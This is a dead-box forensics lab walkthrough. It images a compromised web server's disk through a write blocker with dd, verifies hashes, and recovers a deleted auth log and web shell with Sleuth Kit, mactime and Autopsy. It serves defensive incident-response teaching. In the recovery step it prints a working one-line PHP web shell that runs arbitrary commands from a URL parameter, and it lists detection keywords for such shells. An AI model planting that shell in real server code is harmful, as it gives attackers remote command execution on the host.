I produced a forensically sound image of a powered-off disk using a write blocker and dd, then carved and analyzed artifacts with The Sleuth Kit and Autopsy. The process recovered deleted files and confirmed evidence integrity with matching pre- and post-acquisition hashes.

Objective & Context

Dead box forensics analyzes non-volatile storage from a system that is off, preserving the disk exactly. Unlike live forensics, nothing on the machine is running: there is no volatile memory to capture, but also no risk of the operating system overwriting evidence while you work. The trade-off is strictness, because the disk is a static artifact, every action you take on it must be provably non-destructive. This lab follows NIST SP 800-86 acquisition principles: write-block, image, hash, then analyze only the copy.

The "dead box" approach is the default whenever the machine is already off, when the evidence must survive legal scrutiny, or when the volume of data makes live triage impractical. Its weaknesses are the mirror image of its strengths: you lose RAM contents, running processes, network connections, and any data protected by encryption that was only unlocked in memory. When the drive uses full-disk encryption and the key is not available, dead-box acquisition may yield an image you cannot read at all, which is why the live-vs-dead decision is made at seizure time, not in the lab.

Why image the disk at all instead of just copying files off it? A logical copy only sees what the filesystem exposes through its directory tree: it skips deleted files, file slack, unallocated space, the partition table, and anything hidden between partitions. A bit-for-bit (physical) image captures every sector regardless of what the filesystem says about it, which is exactly where anti-forensic traces survive. The image is also a stable, hashable object, a set of copied files is not.

The scenario: a compromised web server was seized and powered down. The suspect attempted anti-forensics, deleted web server logs and dropped a web shell in a web root directory, so the investigative goals map to two MITRE ATT&CK techniques:

  • T1070 Indicator Removal, recovering deleted logs and files an attacker tried to erase. Deletion on most filesystems only unlinks directory entries and marks blocks unallocated; the data persists until overwritten, which is why carving works.
  • T1505.003 Web Shell, locating planted web shells in the filesystem image. Web shells typically sit in web-accessible paths, have recent creation timestamps relative to the intrusion window, and contain suspicious function names (eval, system, passthru, base64_decode).

The end-to-end workflow is linear and each stage gates the next: if the hash verification fails, everything downstream is void and you start over.

Golden rule: the original drive is attached through the write blocker and never written to, never mounted, and never used for analysis. It is read only for the passes the workflow requires, hashing and imaging, and everything else happens on the verified image (or a working copy of it). This is what makes the result defensible: any second examiner can re-hash the original, re-hash the image, and confirm they are looking at identical bytes.

Learning Objectives

  • Connect evidence media through a write blocker and confirm the device identity.
  • Record chain-of-custody details before any acquisition.
  • Take pre-acquisition hashes of the source device.
  • Acquire a bit-for-bit image with dd and verify post-acquisition hashes.
  • Map partitions with mmls and extract unallocated space with blkls.
  • Recover deleted files with fls, istat, and icat.
  • Build a filesystem timeline with mactime.

Environment & Prerequisites

Prerequisites

  • A hardware write blocker (Tableau or WiebeTech bridge) or a software read-only path (blockdev --setro plus read-only loop).
  • A forensic workstation with Sleuth Kit installed (sudo apt install -y sleuthkit).
  • An evidence drive or a practice image; a destination with free space exceeding the source size.
  • sha256sum and smartmontools for identity and hashing.
  • A chain-of-custody log template; every action gets timestamped.

Verify tools and free space before touching the evidence

which dd sha256sum mmls fls icat && df -h /evidence
/usr/bin/dd
/usr/bin/sha256sum
/usr/bin/mmls
/usr/bin/fls
/usr/bin/icat
Filesystem      Size  Used Avail Use% Mounted on
/dev/sdc1       1.8T   12G  1.7T   1% /evidence

Confirm the free space is at least the full capacity of the source disk (not just its used space), dd images every block, allocated or not. If any tool is missing, stop here and install it before the evidence drive is attached, so the acquisition window is not spent troubleshooting a workstation. It is also worth syncing the workstation clock (timedatectl) now, because every timestamp you log from this point forward anchors the chain of custody.

The custody log starts before the acquisition, not after. A minimal opening entry records the evidence item, its source, and its condition on receipt:

CASE 2025-014  | ITEM 03 (1x 128GB SATA SSD, Samsung 860 EVO)
Received:      2025-06-17 09:05 UTC from J. Rivera (field team)
Condition:     Anti-static bag sealed, no physical damage, seal #4471 intact
Examiner:      T. Sadik   Workstation: forensic-ws-02
Blocker:       Tableau T8u (firmware 2.19)

Step-by-Step Execution

1. Connect the evidence drive through the write blocker

Power the workstation first, then attach the source disk through the write blocker. Watch the kernel log as it enumerates: the drive should appear as a block device without any filesystem being auto-mounted. Auto-mounting is the number-one way beginners contaminate evidence, because even a read-only mount can replay a journal (ext3/4, NTFS) and alter the disk unless the blocker stops the writes.

Identify the new device and confirm nothing mounted it

sudo dmesg | tail -n 20 && lsblk -o NAME,SIZE,TYPE,FSTYPE,MOUNTPOINT,RO

Expected output:

[  412.338102] sd 3:0:0:0: [sdb] 250069680 512-byte logical blocks: (128 GB/119 GiB)
[  412.339215] sd 3:0:0:0: [sdb] Write Protect is off
[  412.339221] sd 3:0:0:0: [sdb] Mode Sense: 00 3a 00 00
[  412.341777]  sdb: sdb1 sdb2

NAME   SIZE TYPE FSTYPE MOUNTPOINT      RO
sda    256G disk ext4   /                0
sdb  119.2G disk                        0
├─sdb1  118G part ext4                  0
└─sdb2    1G part swap                  0
sdc    1.8T disk ext4   /evidence        0

The kernel reports "Write Protect is off" because that flag reflects the drive's own status line, the hardware blocker enforces read-only at the bridge, invisible to the OS. To verify the blocker actually blocks, confirm the device has no mountpoint (none of sdb's partitions show one above) and, on a lab blocker with a test drive only, issue a harmless write and confirm it fails. Common mistake: assuming the "Write Protect is off" message means the blocker is broken and detaching the drive mid-stream, it does not; trust the bridge, verify by testing on sacrificial media beforehand, not on evidence.

What this teaches: the write blocker is the foundation of forensic soundness: nothing you do may alter the source.

2. Record the device identity in the chain-of-custody log

Before any acquisition, capture the make, model, serial number, and capacity. This ties the physical item in the evidence bag to the image you are about to create, and it is the first thing opposing counsel or a reviewer will check. A hash alone does not identify a drive, only the combination of serial number, capacity, and hash does.

Pull device metadata for the custody log

sudo smartctl -i /dev/sdb | egrep 'Model|Serial|Capacity'

Expected output:

Device Model:     Samsung SSD 860 EVO 128GB
Serial Number:    S3Y9NB0K123456A
User Capacity:    128,035,676,160 bytes [128 GB]

Log the date/time (UTC), the examiner's name, the workstation hostname, and the write blocker model and firmware version alongside this. Verify: the reported capacity must match the block count from lsblk (250,069,680 sectors x 512 bytes = 128,035,676,160). A mismatch means a host-protected area (HPA) or device configuration overlay (DCO) is hiding part of the disk, which dd alone will not capture. Querying the HPA/DCO status with hdparm -N and hdparm --dco-identify is read-only and safe; actually changing the visible size with hdparm -N alters the drive's configuration, so that step needs written authorization, otherwise disclose the hidden region as a known gap in the report.

What this teaches: custody documentation starts before acquisition; a hash without context proves nothing.

3. Take the pre-acquisition hash of the source

Hash the raw device before imaging, on healthy media. This pre-acquisition hash is the baseline the finished image will be compared against. Hashing the whole device (not just partitions) captures the partition table, slack between partitions, and every byte dd will later read. If the drive is already showing read errors or SMART warnings, skip this standalone pass: reading a failing drive twice stresses it, and bad sectors can return different data on each attempt. For failing media, image with ddrescue first (see Troubleshooting), which keeps a map file and logs progress per region, then hash the source regions it read successfully. SHA-256 is the modern baseline; MD5 appears in older case law but is collision-broken and should not be the only hash used. Some teams record both SHA-256 and SHA-1 in parallel (sha256sum and sha1sum in the same pass via tee) purely so older tooling can cross-check later.

SHA-256 the raw source device

sudo sha256sum /dev/sdb | tee /evidence/sdb.pre-acquisition.sha256

Expected output:

a1b2c3d4e5f6...  /dev/sdb

On a 128 GB SSD over USB 3 this takes roughly 5 to 10 minutes. Use tee so the value lands in a file as well as on screen, never retype a hash by hand. Common mistake: hashing /dev/sdb1 instead of /dev/sdb, which skips the partition table and unpartitioned space where data can hide. Verify you hashed the right object by confirming the command references the whole-disk node, and keep the .sha256 file next to the image so the pair can never be separated.

What this teaches: the pre-acquisition hash is the baseline every later integrity claim is measured against.

4. Acquire a bit-for-bit image [ROOT REQUIRED]

dd reads every sector of the source sequentially and writes it to the destination file. The flags matter: bs=4M uses a 4 MiB block size for throughput; conv=noerror,sync tells dd to keep going past a bad sector (noerror) and to pad the unreadable block with zeros in the output (sync) so every subsequent byte stays at the correct offset, without sync, one bad sector silently shifts the entire rest of the image; status=progress prints live throughput so a stalled drive is visible immediately.

sudo dd if=/dev/sdb of=/evidence/case.img bs=4M conv=noerror,sync status=progress

Expected output:

128035676160 bytes (128 GB, 119 GiB) copied, 432.18 s, 296 MB/s
30526+1 records in
30526+1 records out

The byte count must equal the device capacity recorded in step 2. The +1 on the record count is normal, it is the final partial block at the end of the disk. At ~300 MB/s a 128 GB SSD takes about seven minutes; a 2 TB spinning disk over USB 2 can take half a day, so estimate the window from the observed throughput before promising a timeline, and never interrupt dd mid-run, a partial image is not evidence, it is a do-over.

This lab uses a raw (dd) image because every Sleuth Kit tool reads it natively with zero conversion; casework that needs compression, embedded metadata, or segmented files would use the EWF/E01 format via ewfacquire instead, at the cost of a conversion step (ewfmount) before TSK can read it.

Note that conv=noerror,sync is a compromise: it preserves offsets but the padded blocks mean the image hash will no longer match a re-read of a drive whose bad sectors return different data each attempt. For genuinely failing media, use ddrescue instead (see Troubleshooting). Verify: zero read errors in the dd output and a record count consistent with capacity / bs.

What this teaches: conv=noerror,sync keeps the image aligned even when the source has bad sectors.

5. Verify acquisition integrity

Hash the source device a second time and the image file, in the same command, and compare. Three values are now in play, pre-acquisition hash, post-acquisition source hash, and image hash, and all three must be identical. Source pre vs. post proves the acquisition did not alter the evidence; source vs. image proves the copy is exact.

sudo sha256sum /dev/sdb /evidence/case.img

Expected output:

a1b2...  /dev/sdb
a1b2...  /evidence/case.img   # match = sound acquisition

Append the result to the custody log as a self-contained entry, anyone reading the log months later should be able to reconstruct exactly what was done without asking you:

2025-06-17 09:41 UTC  Acquisition complete
  Command:   dd if=/dev/sdb of=/evidence/case.img bs=4M conv=noerror,sync
  Source:    ITEM 03 (Samsung 860 EVO, SN S3Y9NB0K123456A, via Tableau T8u)
  SHA-256 (pre):    a1b2c3d4e5f6...
  SHA-256 (post):   a1b2c3d4e5f6...   MATCH
  SHA-256 (image):  a1b2c3d4e5f6...   MATCH
  Disposition: ITEM 03 re-sealed (seal #4472), returned to evidence locker B

Common mistake: skipping the second source hash to save ten minutes. Without it, a mismatch later cannot distinguish "imaging went wrong" from "the workstation wrote to the source", and the entire acquisition becomes questionable.

What this teaches: matching pre and post hashes is the legal and technical proof the acquisition is exact.

6. Create a working copy and freeze the master image

The verified image is now the master. Before any analysis, make a working copy and hash it, so that a mistake during analysis (an accidental mount, a tool that writes alongside the image) can never force a re-acquisition from the original, you just re-copy from the master. Then mark the master read-only at the filesystem level.

Copy, hash, and lock down the master

cp /evidence/case.img /evidence/work.img && sha256sum /evidence/work.img && chmod 444 /evidence/case.img

Expected output:

a1b2c3d4e5f6...  /evidence/work.img   # identical to master = clean copy

All Sleuth Kit commands below run against case.img because TSK never writes to the image; anything interactive or exploratory should target work.img. Verify: the working-copy hash matches the master hash exactly, and ls -l shows the master as -r--r--r--. Treat that mode as a tripwire, not a guarantee: root can chmod it back in one command, so the real protection is the recorded hash, the read-only bit just makes accidental writes noisy. Common mistake: skipping this step on a deadline. A re-acquisition means pulling the original back out of evidence storage, re-hashing, and re-logging the entire chain of custody, far more expensive than one copy.

What this teaches: the master image is evidence; all analysis happens on working copies.

7. Map the partition layout with mmls

All Sleuth Kit tools operate on the image file directly, no mounting required, which is exactly what you want. Start with mmls to read the partition table, because every other tool needs a sector offset to know where a filesystem begins.

List partitions and their sector offsets

mmls /evidence/case.img

Expected output:

DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0246083583   0246081536   Linux (0x83)
003:  000:001   0246083584   0250058751   0003975168   Linux Swap (0x82)

The Linux partition starts at sector 2048, that offset is the key argument for the next steps. This image has a DOS/MBR partition table; a GPT disk would show a protective MBR entry plus a GPT header and typically a small EFI system partition, but the workflow is identical: read the table, note each filesystem's start sector, pass it as -o to the other tools. Note also the 2048-sector unallocated gap at the front; unallocated regions anywhere on the disk are prime carving territory, and data has been hidden deliberately in exactly these gaps before. Verify: partition sizes should sum (plus gaps) to the total sector count from step 1. If mmls reports "cannot determine partition type", the image may be a single-partition dump rather than a full-disk image, re-check what was imaged.

What this teaches: partition tables are data structures you can read directly, independent of any OS.

8. Extract unallocated space with blkls

Deleted-file recovery via inodes (next steps) only works while the deleted inode's metadata survives. Data whose inode has already been reused or wiped still lives in unallocated blocks, reachable only by pulling those blocks out wholesale. blkls copies every unallocated block of a filesystem into a flat file that carving tools and grep can then work over.

Dump unallocated blocks from the Linux partition

blkls -o 2048 /evidence/case.img > /evidence/unalloc.bin && ls -lh /evidence/unalloc.bin

Expected output:

-rw-r--r-- 1 examiner examiner 31G Jun 17 14:22 /evidence/unalloc.bin

About 31 GB of this 118 GB partition was unallocated, a large haystack, but the right one: deleted log fragments, prior versions of the web shell, and staging archives all land here. Signature carvers such as photorec or bulk_extractor can be pointed at unalloc.bin directly, and simple string searches often surface readable log lines that no longer belong to any file:

Hunt for attacker IPs and shell invocations in unallocated space

grep -aob 'Failed password' /evidence/unalloc.bin | head -n 5
1049887744:Failed password for root from 203.0.113.44 port 51122 ssh2
1049890304:Failed password for invalid user admin from 203.0.113.44 port 51136 ssh2
1049912320:Failed password for root from 203.0.113.44 port 51201 ssh2

The -a flag treats the binary blob as text and -b prints byte offsets, so each hit can be re-examined in context with dd if=/evidence/unalloc.bin bs=1 skip=<offset> count=2000 or a hex viewer. Here, fragments of the deleted auth log survive in unallocated space and reveal a brute-force source IP, corroborating the recovered auth.log.1 from the inode-based recovery below. Common mistake: running carvers against the full image instead of just unallocated space, you get every live file duplicated in the output and drown in noise.

What this teaches: unallocated space holds deleted content, which is where attackers assume no one looks.

9. Inventory files, including deleted ones, with fls

fls lists file and directory entries from the filesystem metadata. -r recurses, -d shows deleted entries, and -o 2048 points it at the filesystem offset from mmls. Deleted entries are prefixed with * and are the direct leads for the T1070 objective. Each output line gives the entry type (r/r for a regular file, d/d for a directory), the inode number, and the name, the inode is the handle you feed to istat and icat.

fls -rd -o 2048 /evidence/case.img && icat -o 2048 /evidence/case.img 12345 > recovered.bin

Expected output:

r/r 4:      var
+ r/r 11:   log
++ r/r * 12345:    auth.log.1   (deleted)
++ r/r 20481:      syslog
r/r 5021:   var/www/html
+ r/r * 12398:    cmd.php      (deleted)

The -o 2048 offset is the partition start sector read from mmls in step 7; without it every tool errors with "Cannot determine file system type". Two hits here: a deleted rotated auth log (auth.log.1, inode 12345) and a deleted cmd.php in the web root (inode 12398), a classic web shell filename. Common mistake: forgetting -o and getting "Cannot determine file system type". That error almost always means a missing or wrong offset, not a corrupt image, divide the partition start sector into bytes if the tool wants byte offsets.

What this teaches: fls sees files the directory listing hides, including deleted entries.

10. Inspect the suspect inodes with istat, then recover with icat

Before extracting, istat shows what metadata survives for the deleted inode: timestamps, size, and the block pointers that make recovery possible. Then icat streams the inode's data blocks to a file.

Check inode metadata for the deleted web shell

istat -o 2048 /evidence/case.img 12398

Expected output:

inode: 12398
Not Allocated
Group: 2
Size: 412
Mode: -rw-r--r--
Deleted: 2025-06-14 03:17:42 (EDT)
Modified: 2025-06-14 03:16:58 (EDT)
Accessed: 2025-06-14 03:17:01 (EDT)
Direct Blocks: 88412

The inode is unallocated but its direct block pointer survived, so the file content is very likely intact. The deletion timestamp (03:17 EDT) goes straight into the incident timeline. On ext4, large files are addressed through extent trees rather than classic direct/indirect blocks; istat abstracts that away, but be aware a deleted ext4 inode sometimes has its extent tree zeroed by the filesystem, in which case inode-based recovery fails and step 8's unallocated carve is the fallback. Recover both artifacts:

fls -rd -o 2048 /evidence/case.img && icat -o 2048 /evidence/case.img 12345 > recovered.bin

Also recover the web shell and fingerprint it

icat -o 2048 /evidence/case.img 12398 > recovered_cmd.php && file recovered_cmd.php && sha256sum recovered_cmd.php
recovered_cmd.php: PHP script, ASCII text
9f8e7d6c...  recovered_cmd.php
<?php if(isset($_GET['c'])){ system($_GET['c']); } ?>

The recovered file is a one-line web shell, a textbook T1505.003 artifact. Hash every recovered file so it can be searched against threat intel feeds and cited in the report. Verify: file identifies the expected type and the content is coherent, not binary garbage. Garbage usually means the inode was reallocated and its block pointers now belong to a different file, that data is gone from this inode; check unallocated space carving instead.

What this teaches: inodes outlive filenames; istat reads the metadata the filesystem left behind.

11. Build a filesystem timeline with mactime

Single artifacts answer "what"; a timeline answers "when" and "in what order". fls -m emits a body file, one pipe-delimited line per file with its MACB (modified, accessed, changed, born) timestamps, and mactime sorts that body file chronologically. Filtering to the intrusion window shows whether the web shell drop, the log deletion, and any known malicious logins line up.

Generate and filter a MAC timeline for the incident window

fls -r -m / -o 2048 /evidence/case.img > /evidence/body.txt && mactime -b /evidence/body.txt | grep -E 'Jun 1[345] 2025' > /evidence/timeline.csv

Expected output:

Fri Jun 13 2025 22:41:07,412,macb,-rw-r--r--,5021,12398,/var/www/html/cmd.php
Sat Jun 14 2025 03:16:58,412,.a..,-rw-r--r--,5021,12398,/var/www/html/cmd.php
Sat Jun 14 2025 03:17:42,0,.a..,-rw-r--r--,11,12345,/var/log/auth.log.1 (deleted)

Read the macb column positionally: a letter means that timestamp falls at this row's time, a dot means it does not. The first row shows all four timestamps on cmd.php at 22:41 Friday, the file was created and immediately touched. The third row's .a.. on the deleted auth log at 03:17:42 lines up with its istat deletion time.

The sequence is coherent with the hypothesis: cmd.php created Friday night, accessed early Saturday, and the auth log deleted 44 seconds later, an attacker cleaning up immediately after using the shell. Timeline analysis gets its own deep dive in the linked Forensics Timeline Analysis lab. Verify: sanity-check a handful of timeline rows against istat output for the same inodes; disagreements usually mean a timezone mismatch between the image and the workstation (mactime -z sets the zone explicitly).

What this teaches: timelines turn scattered timestamps into an ordered story of what happened when.

12. Bulk extraction and deeper analysis in Autopsy

Manual TSK commands are precise but slow across a whole disk. For full triage, load the image into Autopsy:

  • Create a new case (case number and examiner name matching the custody log), then add /evidence/case.img as a Disk Image or VM File data source.
  • On ingest modules, enable Recent Activity, Hash Lookup (with an NSRL-known-good set plus a web-shell hash set), File Type Identification, Embedded File Extractor, and Keyword Search with a custom list: eval(, base64_decode, passthru, cmd.php, the recovered shell's hash.
  • Let ingest finish, then check the Deleted Files tree and the keyword hit results. Autopsy should independently surface auth.log.1 and cmd.php, corroborating the manual fls/icat findings.
  • Cross-check the Autopsy Timeline view against the mactime CSV from step 11, two independent timeline engines agreeing on the event sequence is strong corroboration for the report.
  • Tag both artifacts, add them to a report (Generate Report > HTML), and export the tagged files with their hashes. The generated report, the timeline CSV, the hash files, and the custody log together form the case deliverable.

Common mistake: running every ingest module on a large image "just in case". Ingest time grows superlinearly with enabled modules; enable what the questions demand and re-run a module later if new leads require it, ingest is non-destructive and repeatable.

What this teaches: Autopsy packages the Sleuth Kit workflow into a reviewable, collaborative interface.

13. Spot-check the image with a read-only loop mount

Sleuth Kit and Autopsy read the image without mounting it, and that should remain the primary method. Occasionally, though, you want to browse the filesystem with ordinary tools, open a config file in an editor, run grep across the web root, or diff a directory against a known-good baseline. That is acceptable on the image (never the original) if and only if the mount is truly read-only: the loop device presents the file as a block device, ro forbids writes, and noload stops ext3/4 from replaying the journal, which would otherwise write into the image file even on a "read-only" mount.

Mount the Linux partition read-only via loop device

sudo mkdir -p /mnt/case && sudo mount -o ro,loop,noload,offset=$((2048*512)) /evidence/work.img /mnt/case

Expected output:

(no output on success)

The offset is the partition start sector from mmls (2048) multiplied by the sector size (512 bytes), 1,048,576 bytes into the image. Note this mounts work.img, the working copy, not the master. Browse, and confirm the key artifacts are visible from the live filesystem side too:

ls -la /mnt/case/var/www/html/ && grep -rl 'eval\|base64_decode' /mnt/case/var/www/html/ 2>/dev/null
drwxr-xr-x 2 root root 4096 Jun 14 03:17 .
drwxr-xr-x 3 root root 4096 Jun 12 11:02 ..
-rw-r--r-- 1 root root 612 Jun 10 09:14 index.php
-rw-r--r-- 1 root root 941 Jun 13 21:58 upload.php

Note that cmd.php does not appear in the live listing, it was deleted, which is exactly why the fls/icat recovery in steps 9 to 10 was necessary. A pure live-filesystem review would have missed the shell entirely; the directory listing shows only what survived deletion. When finished, unmount cleanly:

sudo umount /mnt/case && sha256sum /evidence/case.img

Expected output:

a1b2c3d4e5f6...  /evidence/case.img   # still matches the acquisition hash

Verify: re-hash the master image after unmounting and confirm it still matches the acquisition hash, this closes the loop on "analysis was non-destructive" for the report. Common mistake: forgetting noload on ext filesystems and silently journaling into the image, or mounting the master instead of the working copy. If the hash changed, restore the master from your hash-verified backup procedure and repeat the mount with the correct flags.

What this teaches: a read-only loop mount lets you browse the image with normal tools without risking writes.

How It Works

Dead box forensics analyzes storage from a powered-off system. Nothing is running, so there is no volatile memory to capture, but also no operating system that might overwrite evidence while you work. The disk is a static artifact, and the entire discipline is about proving that your analysis never changed it.

The proof mechanism is hashing plus write blocking. A hardware write blocker sits between the disk and the workstation and drops every write command at the protocol level, below anything the OS can override. SHA-256 hashes taken before and after acquisition prove the image is bit-for-bit identical to the source; any mismatch invalidates the evidence.

The Sleuth Kit reads filesystem structures directly from the image: mmls parses partition tables, fls walks directory entries (including deleted ones), istat dumps inode metadata, icat extracts file content by inode, and blkls carves unallocated blocks. Because these tools never mount the filesystem, they cannot trigger journal replays or timestamp updates that would alter evidence.

Validation & Testing

Confirm the source and image hashes match before any analysis and document them in the custody log. Validation is not a single check, it is a chain of comparisons that together make the acquisition defensible:

  • Pre-acquisition source hash == post-acquisition source hash: proves the acquisition process (and the write blocker) left the evidence untouched.
  • Source hash == image hash: proves the image is a bit-for-bit copy. Recompute the image hash once more after copying it to working storage to catch a bad copy.
  • Manual findings == Autopsy findings: the same deleted artifacts surfaced by two independent methods (fls/icat and Autopsy ingest) corroborate each other.
  • Recovered files open and parse: file, a text viewer, and the PHP interpreter's lint mode (php -l) agree the artifacts are what they claim to be.
  • Timeline consistency: the mactime sequence (shell created, accessed, then log deleted) is internally coherent and matches the inode timestamps from istat and the Autopsy timeline view.
  • Reproducibility spot-check: re-run one recovery command (e.g., the icat extraction of inode 12398) from a fresh shell and confirm the output hash matches the first extraction, the same input must always yield the same bytes.

Pass criteria: hash equality, at least one recovered deleted artifact, and analysis performed exclusively on the image copy. Any failed check invalidates the run, re-image rather than proceed on a questionable copy.

Troubleshooting

SymptomLikely causeFix
dd reports input/output errorsBad sectors on the source diskconv=noerror,sync keeps going and pads errors; document every error offset in the custody log
Hashes do not match after acquisitionThe source was written to, or the write blocker was bypassedStop immediately, investigate the blocker setup, and re-acquire; never analyze a mismatched image
mmls shows no partitionsWrong image offset, GPT vs MBR confusion, or an encrypted volumeCheck for LUKS headers and confirm you are reading the whole disk, not a partition
fls finds nothing deletedThe filesystem reuses inodes aggressively or the data was wipedFall back to blkls carving of unallocated space with keyword searches
mount refuses the loop deviceFilesystem needs a journal replay, which would write to the imageUse noload and ro flags, or analyze with Sleuth Kit instead of mounting
Advanced: Troubleshooting
  • Hash mismatch: re-image; a mismatch means the source changed or the read failed. Before blaming the drive, rule out the boring causes: a destination volume that filled up mid-write (check df -h and the image size against the device capacity), a loose cable causing USB resets (check dmesg for reset high-speed USB device lines during the dd window), or accidentally hashing the wrong object (a partition instead of the whole disk). If the mismatch is reproducible on healthy media, suspect the write blocker and re-test it against a known-good drive.
  • dd read errors: use conv=noerror,sync or ddrescue for failing media. Prefer ddrescue -d -r3 /dev/sdb /evidence/case.img /evidence/case.map: it reads the easy regions first, keeps a map file so runs can resume, and retries bad sectors last when the drive is under least stress. Document every unreadable sector, gaps in the image must be disclosed in the report.
  • Autopsy slow ingest: disable unneeded modules and index incrementally. The biggest costs are keyword indexing and photo/video analysis on large images. Run with a minimal module set first, review, then re-run a single module on demand. On multi-core machines, raise the Solr/indexing memory allocation in Autopsy's options rather than throwing more ingest modules at the case.
  • Evidence drive auto-mounted by the workstation: if lsblk shows a mountpoint under sdb, unmount immediately, note the event in the custody log, and verify the write blocker absorbed any writes by re-hashing the source against the pre-acquisition hash. On a software-only setup, prevent recurrence by disabling the desktop's auto-mount daemon (udisks2 automount) before connecting evidence.
  • Recovered file is corrupt or truncated: a deleted inode's data blocks may have been partially reused since deletion. Check istat, if some block pointers are zeroed or the file crosses into reallocated space, carve the raw bytes from unallocated space by signature instead (tsk_recover for an allocated+deleted sweep, or photorec/bulk_extractor against the unallocated partition extracted via blkls). Partial artifacts are still reportable, note the truncation.

Key Takeaways

  • Write-block first, image once, hash three times (pre, post, image), those three equal values are the entire foundation of defensibility.
  • Never analyze the original. Every Sleuth Kit and Autopsy step in this lab ran against case.img; the source went back into evidence storage after step 5.
  • conv=noerror,sync preserves byte offsets on bad media; for truly failing drives, ddrescue's map file is the right tool.
  • Deleted does not mean gone: unlinked directory entries and surviving inode block pointers (fls -d, istat, icat) recover "erased" attacker artifacts until the blocks are reused, and blkls carving catches what inode recovery cannot.
  • Chain of custody is created in real time, device identity, hashes, commands, and timestamps logged as they happen, not reconstructed afterward.
  • Timelines turn isolated artifacts into a narrative; a web shell created, used, and covered up within 44 seconds is a story a single recovered file cannot tell.
  • Corroborate across tools: manual TSK findings and Autopsy ingest agreeing on the same artifacts is a validation signal, not redundancy.

Key Results

  • Acquired a bit-for-bit image with 100% pre/post hash integrity.
  • Recovered deleted artifacts from unallocated space via Sleuth Kit carving, including a deleted auth log and a one-line PHP web shell (T1070, T1505.003).
  • Performed 100% of analysis on the working copy, never the original.
  • Documented a complete chain of custody across the acquisition.

Practice Challenges

Challenge 1: Find the hidden file

Goal: A practice image contains a deleted text file; recover its full contents using only fls, istat, and icat.

Hint: Use fls -rd to list deleted entries, note the inode, then icat that inode number.

Challenge 2: Keyword carve

Goal: Search unallocated space for email addresses and build a sorted unique list.

Hint: Run blkls on the image, then grep -aobE for an email regex across the output.